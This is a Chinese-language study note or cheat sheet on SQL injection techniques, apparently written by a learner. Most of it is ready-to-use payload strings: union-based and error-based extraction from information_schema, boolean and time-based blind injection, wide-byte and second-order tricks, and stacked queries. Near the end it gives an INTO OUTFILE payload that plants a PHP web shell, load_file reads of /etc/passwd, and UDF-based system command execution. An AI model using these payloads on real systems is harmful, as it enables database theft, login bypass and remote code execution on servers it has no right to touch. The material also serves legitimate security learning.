目录
GET型注入
判断是否存在注入
如果有sql错误回显:
直接 ?id = '
没有错误回显:
?id=1 and 1=2
?id=1 and 1=1
根据回显页面是否不同查看是否有注入漏洞
如果是字符型:
?id=1' and 1=1--+
?id=1' and 1=2--+
注入类型
注意以下查询都是默认数字类型,若为字符型自己判断闭合符号更改即可
联合查询注入
在用order by 判断几个字段后
判断回显:?id=1 union select 1,2,3
比如3处有回显:?id=1 union select 1,2,database()
注意
如果回显位不在最末尾如:?id=1 union select 1,table_name from information_schema.tables where table_schema=database(),3
当回显位不再最末尾查询表名、列名这些会报错
应该用语句:?id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3
也就是在第二个字段要多加一个select并括起来整个语句
报错注入
?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
条件:
报错函数可用
sql错误信息直接回显到页面
updatexml、extractvalue、floor
布尔盲注
1.?id=1'and length(database())=4--+
判断数据库第一个字符
2.?id=1'and substr(database(),1,1)='s'--+
判断ascall编码值
3.?id’and ascii(substr(database(),1,1))=字符对应数字一个个试--+
就类似于上面语句的原理
通过回显页面的正确与否判断语句的正确性,从而猜解信息
这里可用写脚本来跑
当然理解原理后也可以用sqlmap
条件:sql语句正确和错误时的回显页面有明显的不同
时间盲注
原理和布尔差不多,只不过时间盲注不可以通过页面回显来判断正确性
而是通过是否延时来判断正确性
语句:
判断闭合符:
1.?id=1'and if(1=1,sleep(3),1)--+
判断数据库的长度:
2.?id=1' and if(length(database())=8,sleep(3),1)--+
判断数据库第一个字符:
3.?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+
以此类推一直把所有数据库字符确定下来
判断security数据库的第一个表的第一个字符的ascall码值:
4.?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),1)--+
二次注入
原理:你注册一个用户名为admin'#的账号,服务器把你的特殊字符转义了,所以不能构成恶意代码执行,但是当你的输入数据保存在数据库时却是原样保存,转义字符不会保存,这样当服务器调用数据库数据时,还是调用的admin'#,你去修改密码,这里就会构成恶意代码执行,你的闭合符(这里的单引号),与语句本身闭合符相闭合,后面的被#注释掉了,所以你改的密码就是原先存在的账户(这里的admin)的密码,于是你就有了admin的密码了
宽字节注入
使用一些函数addslashes,mysql_real_escape_string,mysql_escape_string对单引号等注入相关字符进行转义
但是数据库又使用了GBK(宽字符集)
mysql使用GBK时会认为两个字符为一个汉字(ascii>128)
当单引号(%27)被转义加 ‘\’ 变为(%5c%27)
在%5c前加%df,则变为%df%5c%27
也就是注入时payload=1%df ‘
则转义的 ’\‘会被与%df一起(%df%5c)被认为是汉字,则单引号可用于闭合。
异或注入
原理:
1^1 = 0^0 =0
1^0=1
当字符串和数字进行异或比较时字符串会被转换为0,如果字符串本身有数字则转换为本身含有的数字
判断数据库长度
你'^(length(database()))==
判断union是否被过滤
你'^(length('union')>0)
加解密注入
服务器源码对输入数据进行解密,则需要对payload进行加密再传值
堆叠注入
用 ;(分号用于末尾表示语句结束)隔开,同时执行多条语句
重命名表:RENAME table current_table_name TO new_table_name
修改列名:ALTER TABLE ·tablename· CHANGE ·current_column_name· ·new_name· VARCHAR()
联合查询只能执行查询语句,堆叠注入可以执行任意语句
with rollup绕过
原理:当用group by password with rollup时,password列最后一行会是NULL填充,则password什么也不输入,只需绕过用户名则可以登录成功
POST型注入
一般是登录框的sql注入
原理与get型一样,只是是post提交
在修改密码处,更新密码,会使用到update
语句
在商城系统中,订单的添加,删除,可能会使用到insert
,delete
语句
cookie型注入
如果服务端验证cookie,会带入数据库查询
则sql注入点也可用在cookie字段
文件写入
system_user():数据库的系统用户
current_user():当前登录数据库的用户
如果当前数据库的用户有写入权限
那么可用把查询结果写入网站目录,再通过网站下载(没有回显时使用)
?id = 1 union all select tables_name,table_type,engine from information_schema.tables where table_schema=database() order by table_name DESC into out file '网站路径/out.txt'
在网站访问out.txt就有结果了
也可以用load_file读取结果
?id=1 union all select 1,2,load_file('网站路径/out.txt'),4
如果用load_file读取系统文件如:/etc/passwd 是需要有相应的读取权限的
也可以写一句话木马到服务器
?id=1 UNION SELECT "<? system($_REQUEST['cmd']); ? >",2,3,4 INTO OUTFILE "/var/www/html/c.php"
注意
into outfile:写入文件
into dumpfile:写入文件(二进制)
执行系统命令
sql注入可以写入webshell来执行命令
也可以直接执行命令
lib_mysqludf_sys里面的sys_eval函数
select sys_eval('ls -a');
需要上传lib_mysqludf_sys.so到数据库能访问的路径
常见数据库都有自定义函数的功能,都可用了解一下
目前还在学习这一块的